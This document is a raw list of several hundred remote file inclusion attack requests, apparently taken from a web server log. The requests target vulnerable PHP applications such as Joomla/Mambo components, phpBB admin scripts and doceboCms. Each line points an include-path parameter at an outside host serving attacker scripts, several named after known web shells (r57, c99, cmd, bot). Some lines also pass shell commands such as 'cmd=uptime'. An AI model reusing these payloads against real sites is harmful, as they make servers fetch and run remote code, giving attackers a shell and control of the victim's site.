//mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//index.php?option=com_custompages&cpage=http://www.ds5vxk.com/board/cmd.txt?
//mes-stats/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
///doceboCms/class//errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/home.php?x=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/head.php?adresa=http://www.stormpages.com/baliku/sayank.txt??
//zero_vote/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//include/admin.lib.inc.php?site_path=http://tanahdijual.com/id.txt???
//mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=http://8.19.35.63/bhl/id.txt?
/index.php?pag=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index.php?pag=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index.php?pag=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index.php?pag=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//addpost_newpoll.php?addpoll=preview&thispath=http://www.edoloshop.it/images/inv??
//include/admin.lib.inc.php?site_path=http://tanahdijual.com/id.txt???
//include/admin.lib.inc.php?site_path=http://tanahdijual.com/id.txt???
///doceboCms/class//errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//include/admin.lib.inc.php?site_path=http://tanahdijual.com/id.txt???
/index.php?option=com_registration&Itemid=&mosConfig_absolute_path=http://www.edoloshop.it/images/inv??
//agendax/addevent.inc.php?agendax_path=http://8.19.35.63/bhl/id.txt?
//index.php?option=com_custompages&cpage=http://www.ds5vxk.com/board/cmd.txt?
///doceboCms/class//errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//index.php?sub=http://geocities.com/septilianaocha/header.jpg?
//skin/zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=http://8.19.35.63/bhl/id.txt?
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/akocomments.php?mosConfig_absolute_path=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//index.php?sub=http://geocities.com/septilianaocha/header.jpg?
//zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/admin/editeur/spaw_control.class.php?spaw_root=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://www.sunter.us/a.txt?
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//content/multithumb/multithumb?mosConfig_absolute_path=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
/head.php?adresa=http://h1.ripway.com/ir4wan/geni.txt???
//Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/doc//index.php?option=com_custompages&cpage=http://www.ds5vxk.com/board/id.txt??
//index.php?option=com_custompages&cpage=http://www.ds5vxk.com/board/id.txt??
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//path/Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://cnpl.lu/upload/cmd.txt?
//index.php?sub=http://geocities.com/septilianaocha/header.jpg?
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
///doceboCms/class//errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//ashnews.php?pathtoashnews=http://www.autosate.ru/images/borda.jpg?
/index.php?load=http://www.spelletjeslog.nl/templates/js_matrix_3/images/thumb.png/boo.do???
/fout.php?fout=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//mes-stats/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
/head.php?adresa=http://h1.ripway.com/ir4wan/geni.txt???
/doc//index.php?option=com_custompages&cpage=http://www.ds5vxk.com/board/cmd.txt?
//addpost_newpoll.php?addpoll=preview&thispath=http://www.edoloshop.it/images/inv??
/head.php?adresa=http://www.satinvestigacion.net/foro5/includes/TT??
/head.php?adresa=http://www.satinvestigacion.net/foro5/includes/TT??
/head.php?adresa=http://usil.web.id/nenen.txt?
/head.php?adresa=http://usil.web.id/nenen.txt?
/doc//index.php?option=com_custompages&cpage=http://www.geocities.com/kucluxanang/id2.txt??
//index.php?option=com_custompages&cpage=http://www.geocities.com/kucluxanang/id2.txt??
//admin/business_inc/saveserver.php?thisdir=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/head.php?adresa=http://tua-gila.t35.com/tua.txt?
/head.php?adresa=http://h1.ripway.com/g3r1ly4/botping.txt???
/head.php?adresa=http://tua-gila.t35.com/tua.txt?
/head.php?adresa=http://myr.wz.cz/upload/skins/max.txt?
/akocomments.php?mosConfig_absolute_path=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/head.php?adresa=http://h1.ripway.com/grunge/bot.txt?
/index.php?option=com_registration&Itemid=&mosConfig_absolute_path=http://www.edoloshop.it/images/inv??
//path/Full_Release/include/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//addpost_newpoll.php?addpoll=preview&thispath=http://www.edoloshop.it/images/inv??
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt??
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt??
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/index1.php?x=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//skin/zero_vote/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt??
/content.php?page=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/content.php?page=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/index.php?configFile=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/admin.php?page=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/admin.php?page=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//ashnews.php?pathtoashnews=http://www.autosate.ru/images/borda.jpg?
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt?%0D??
//index.php?_REQUEST=&_REQUEST[option]=option,com_comprofiler&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.sunter.us/a.txt?
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?x=http://www.beschorner86.de/cms//modules/cmd/cid.txt???
//include/lib.inc.php?site_path=http://myneha.info/fidz?
//mes-stats/errors.php?error=http://www.coaching-pool-coach.de/id.txt??
//include/lib.inc.php?site_path=http://www.keloplaneetta.net/r57.txt?
/admin.php?page=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/admin.php?page=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//include/lib.inc.php?site_path=http://h1.ripway.com/g3r1ly4/botping.txt???
//include/lib.inc.php?site_path=http://myneha.info/vie.txt?
//doceboCms/class/class.dashboard_cms.php?where_framework=http://www.autosate.ru/images/borda.jpg?
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt?%0D??
//include/lib.inc.php?site_path=http://jamesmng.freehostia.com/r57.txt??
//include/lib.inc.php?site_path=http://didik.wapath.com/scripts/dita2.txt?
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt?%0D??
/doc//index.php?option=com_custompages&cpage=http://www.ds5vxk.com/board/cmd.txt?
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt??
//include/lib.inc.php?site_path=http://usil.web.id/nenen.txt?
//include/lib.inc.php?site_path=http://usil.web.id/nenen.txt?
/admin.php?page=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//include/lib.inc.php?site_path=http://h1.ripway.com/grunge/r57.txt?
/admin.php?page=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index.php?p=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/webanalyse/words.php?action=delNoise&word=to//faqsupport/samplefaqsupport.php?path[docroot]=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/index.php?p=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//include/lib.inc.php?site_path=http://h1.ripway.com/grunge/bot.txt?
//xoopsgallery/init_basic.php?GALLERY_BASEDIR=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt??
//doceboCms/class/class.dashboard_cms.php?where_framework=http://www.autosate.ru/images/borda.jpg?
//doceboCms/class/class.dashboard_cms.php?where_framework=http://www.autosate.ru/images/borda.jpg?
//include/lib.inc.php?site_path=http://smart4media.ro/media/vagina1.txt??http://geocities.com/dhieqwebmarker/dQ.txt?
/index.php?site=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index.php?site=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//index.php?pag=http://www.geocities.com/kucluxanang/id2.txt??
/index1.php?x=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://www.autosate.ru/images/borda.jpg?
/index1.php?x=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//include/write.php?dir=http://www.autosate.ru/images/borda.jpg?
//include/lib.inc.php?site_path=http://www.stormpages.com/baliku/sayank.txt??
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt??
//vwar/admin/admin.php?vwar_root=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/index2.php?x=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//vwar/admin/admin.php?vwar_root=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//include/write.php?dir=http://www.autosate.ru/images/borda.jpg?
//include/lib.inc.php?site_path=http://loveo.es//despoblacion/od2069.txt??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
/db_adodb.php?baseDir=http://vnc2008.webcindario.com/idr0x.txt???
//include/lib.inc.php?site_path=http://myneha.info/fidz?
/db_adodb.php?baseDir=http://vnc2008.webcindario.com/idr0x.txt???
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt??
//admin/business_inc/saveserver.php?thisdir=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://www.sunter.us/a.txt?
//include/lib.inc.php?site_path=http://didik.wapath.com/scripts/dita2.txt?
//include/lib.inc.php?site_path=http://br.geocities.com/postcards666/full.txt?
//index.php?x=http://www.beschorner86.de/cms//modules/cmd/cid.txt???
/db_adodb.php?baseDir=http://vnc2008.webcindario.com/idr0x.txt???
/index2.php?x=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//include/lib.inc.php?site_path=http://h1.ripway.com/g3r1ly4/botping.txt???
/errors.php?error=http://tanahdijual.com/id.txt???
//include/lib.inc.php?site_path=http://yho.sitesled.com/01.txt?
//include/lib.inc.php?site_path=http://yho.sitesled.com/01.txt?
/errors.php?error=http://tanahdijual.com/id.txt???
/head.php?adresa=http://yho.sitesled.com/01.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.helpvenice.com/id.txt??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.helpvenice.com/id.txt??
/errors.php?error=http://tanahdijual.com/id.txt???
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
/?sourcedir=http://www.satinvestigacion.net/foro5/includes/TT??
//components/com_cpg/cpg.php?mosConfig_absolute_path=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/doc/errors.php?error=http://tanahdijual.com/id.txt???
/errors.php?error=http://tanahdijual.com/id.txt???
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
/index1.php?go=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index1.php?go=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//include/lib.inc.php?site_path=http://fwt.txdnl.com/6-30/a/k/akisalira/xd.txt?
//include/lib.inc.php?site_path=http://h1.ripway.com/hikmah/crewet.txt???
//include/lib.inc.php?site_path=http://fwt.txdnl.com/6-30/a/k/akisalira/xd.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
/index.php?r=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index.php?r=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://fwt.txdnl.com/6-30/a/k/akisalira/xd.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://white.be/info.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://vhyan.com/cmd???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//s_loadenv.inc.php?DOCUMENT_ROOT=http://rafiantika.fileave.com/child.txt?%0D??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.helpvenice.com/id.txt??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.helpvenice.com/id.txt??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://tua-gila.t35.com/tua.txt?
//include/lib.inc.php?site_path=http://h1.ripway.com/g3r1ly4/botping.txt???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/g3r1ly4/botping.txt???
//index.php?option=http://h1.ripway.com/g3r1ly4/botping.txt???
//index.php?option=com_flyspray&Itemid=&mosCo%20nfig_absolute_path=http://h1.ripway.com/hikmah/crewet.txt???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/g3r1ly4/botping.txt???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/g3r1ly4/botping.txt???
//index.php?pag=http://frenchcoast.org/tikiwiki/img/wiki/id.txt?
//components/com_cpg/cpg.php?mosConfig_absolute_path=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=http://www.autosate.ru/images/borda.jpg?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/gampink/aya.txt???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://tua-gila.t35.com/tua.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/grunge/bot.txt?
//index.php?option=com_custompages&cpage=http://frenchcoast.org/tikiwiki/img/wiki/id.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig%20_absolute_path=http://h1.ripway.com/hikmah/crewet.txt???
//login.php?includedir=http://rafiantika.fileave.com/child.txt?%0D??
/main.php?pagina=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//login.php?includedir=http://rafiantika.fileave.com/child.txt?%0D??
//index.php?pag=http://frenchcoast.org/tikiwiki/img/wiki/id.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/g3r1ly4/botping.txt???
//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://eskentx.kit.net/go.txt?http://eskentx.kit.net/go.txt?
//login.php?includedir=http://rafiantika.fileave.com/child.txt?%0D??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://smart4media.ro/media/vagina2.txt??http://geocities.com/dhieqwebmarker/dQ.txt?
//facileforms.frame.php?ff_compath=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/index2.php?showpage=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/index.php?option=com_comprofiler&Itemid=&extmode=&extid=&mosConfig_absolute_path=http://www.spelletjeslog.nl/templates/js_matrix_3/images/thumb.png/boo.do???
/index2.php?showpage=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://enfiltro.com/avatars/ids.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://eduloco.kit.net/cmd.txt?
/head.php?adresa=http://myr.wz.cz/upload/skins/max.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.stormpages.com/baliku/sayank.txt??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.satinvestigacion.net/foro5/includes/TT??
/head.php?adresa=http://intermoto.ovh.org/mambo/wests.txt?
//login.php?dir=http://oursoultvxq.com/bbs/data/vip/id.txt??
//login.php?dir=http://oursoultvxq.com/bbs/data/vip/id.txt??
/webanalyse/words.php?action=delNoise&word=to//faqsupport/samplefaqsupport.php?path[docroot]=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/index.php?option=com_comprofiler&Itemid=&extmode=&extid=&mosConfig_absolute_path=http://www.spelletjeslog.nl/templates/js_matrix_3/images/thumb.png/boo.do???
//admin/admin_styles.php?phpbb_root_path=http://rafiantika.fileave.com/child.txt??
/?sourcedir=http://smba.jinju.ac.kr/ismael.txt????
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.mambo-jamboo.com/CGI-BIN/mailer/profile/blue-magnum-x.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.strategydepot.com/t.txt??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://eduloco.kit.net/cmd.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://eduloco.kit.net/cmd3.txt?&cmd=uptime
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//login.php?dir=http://oursoultvxq.com/bbs/data/vip/id.txt??
//login.php?dir=http://oursoultvxq.com/bbs/data/vip/id.txt??
//include/lib.inc.php?site_path=http://eduloco.kit.net/cmd3.txt?&cmd=uptime
/index2.php?p=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index2.php?p=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://br.geocities.com/postcards666/full.txt?
//admin/business_inc/saveserver.php?thisdir=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/ptoleman/id.txt?
//includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://www.autosate.ru/images/borda.jpg?
/template.php?str=http://bjork.name.md/id.txt??
/?sourcedir=http://smba.jinju.ac.kr/ismael.txt????
//excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=http://www.autosate.ru/images/borda.jpg?
/doc//index.php?option=com_custompages&cpage=http://frenchcoast.org/tikiwiki/img/wiki/id.txt?
/?sourcedir=http://smba.jinju.ac.kr/ismael.txt????
//admin/business_inc/saveserver.php?thisdir=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//include/lib.inc.php?site_path=http://br.geocities.com/redcrew03/Manutd4life.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://br.geocities.com/redcrew03/Manutd4life.txt?
//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://tanahdijual.com/id.txt???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://br.geocities.com/redcrew03/Manutd4life.txt?
//index.php?_REQUEST=&_REQUEST[option]=option,com_comprofiler&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.autosate.ru/images/borda.jpg?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://br.geocities.com/redcrew03/Manutd4life.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://br.geocities.com/redcrew03/Manutd4life.txt?
//include/lib.inc.php?site_path=http://br.geocities.com/redcrew03/Manutd4life.txt?
//include/lib.inc.php?site_path=http://www.article-submission.org/perl.txt?
//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://tanahdijual.com/id.txt???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/gampink/php.txt???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.article-submission.org/perl.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://myneha.info/mail.txt?
//admin/business_inc/saveserver.php?thisdir=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/doc//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://tanahdijual.com/id.txt???
//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://tanahdijual.com/id.txt???
/webanalyse/words.php?action=delNoise&word=to//faqsupport/samplefaqsupport.php?path[docroot]=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/ptoleman/id.txt?
/head.php?adresa=http://sobi.t35.com/kiddie.txt???
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.article-submission.org/perl.txt?
/head.php?adresa=http://www.satinvestigacion.net/foro5/includes/TT??
/head.php?adresa=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/ptoleman/id.txt?
//excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=http://www.autosate.ru/images/borda.jpg?
//contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://tanahdijual.com/id.txt???
/head.php?adresa=http://enfiltro.com/avatars/ids.txt?
//facileforms.frame.php?ff_compath=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/head.php?adresa=http://geocities.com/demochist_hady/botol.txt
/index.php?loc=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
/head.php?adresa=http://geocities.com/demochist_hady/botol.txt???
/head.php?adresa=http://geocities.com/demochist_hady/botol.txt???
/head.php?adresa=http://geocities.com/demochist_hady/botol.txt???
/head.php?adresa=http://geocities.com/demochist_hady/botol.txt???
/errors.php?error=http://h1.ripway.com/ptoleman/id.txt?
/head.php?adresa=http://geocities.com/febriyunizar/febri.txt?
//excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=http://www.autosate.ru/images/borda.jpg?
/head.php?adresa=http://fwt.txdnl.com/6-30/a/k/akisalira/xd.txt?
/index1.php?=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
/index1.php?=http://memex.c3.hu/~tata/limesurvey/tmp/alb??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
/head.php?adresa=http://geocities.com/febriyunizar/febri.txt?
//index.php?option=com_flyspray&Itemid=&mosConfig_absolute_path=http://www.keloplaneetta.net/c99.txt
//include/lib.inc.php?site_path=http://yho.sitesled.com/01.txt?
//include/lib.inc.php?site_path=http://geocities.com/demochist_hady/botol.txt???
//include/lib.inc.php?site_path=http://www.keloplaneetta.net/c99.txt
/head.php?adresa=http://www.geocities.com/justcharles4ever/acu.htm?
//administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=http://www.codeduc.cl/components/id.txt????
//citywriter/head.php?path=http://www.autosate.ru/images/borda.jpg?
//include/lib.inc.php?site_path=http://geocities.com/sumurnet/angin.txt??
/main.php?x=http://oursoultvxq.com/bbs/data/vip/id.txt??
/main.php?x=http://oursoultvxq.com/bbs/data/vip/id.txt??
/nav.php?go=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//path/include/errors.php?error=http://www.orgnet.hu/ezustfenyoszallo/kepek/mraneti.txt???
//include/lib.inc.php?site_path=http://geocities.com/demochist_hady/botol.txt???
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://oursoultvxq.com/bbs/data/vip/id.txt??
//include/lib.inc.php?site_path=http://www.satinvestigacion.net/foro5/includes/TT??
//index.php?option=com_mambots&Itemid=&mosConfig_absolute_path=http://www.autosate.ru/images/borda.jpg?
/?sourcedir=http://smba.jinju.ac.kr/ismael.txt????
//include/lib.inc.php?site_path=http://www.keloplaneetta.net/c99.txt
//include/lib.inc.php?site_path=http://myr.wz.cz/upload/skins/max.txt?
//include/lib.inc.php?site_path=http://www.keloplaneetta.net/r57.txt?
//administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=http://www.codeduc.cl/components/id.txt????
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://oursoultvxq.com/bbs/data/vip/id.txt??
//include/lib.inc.php?site_path=http://geocities.com/demochist_hady/botol.txt???
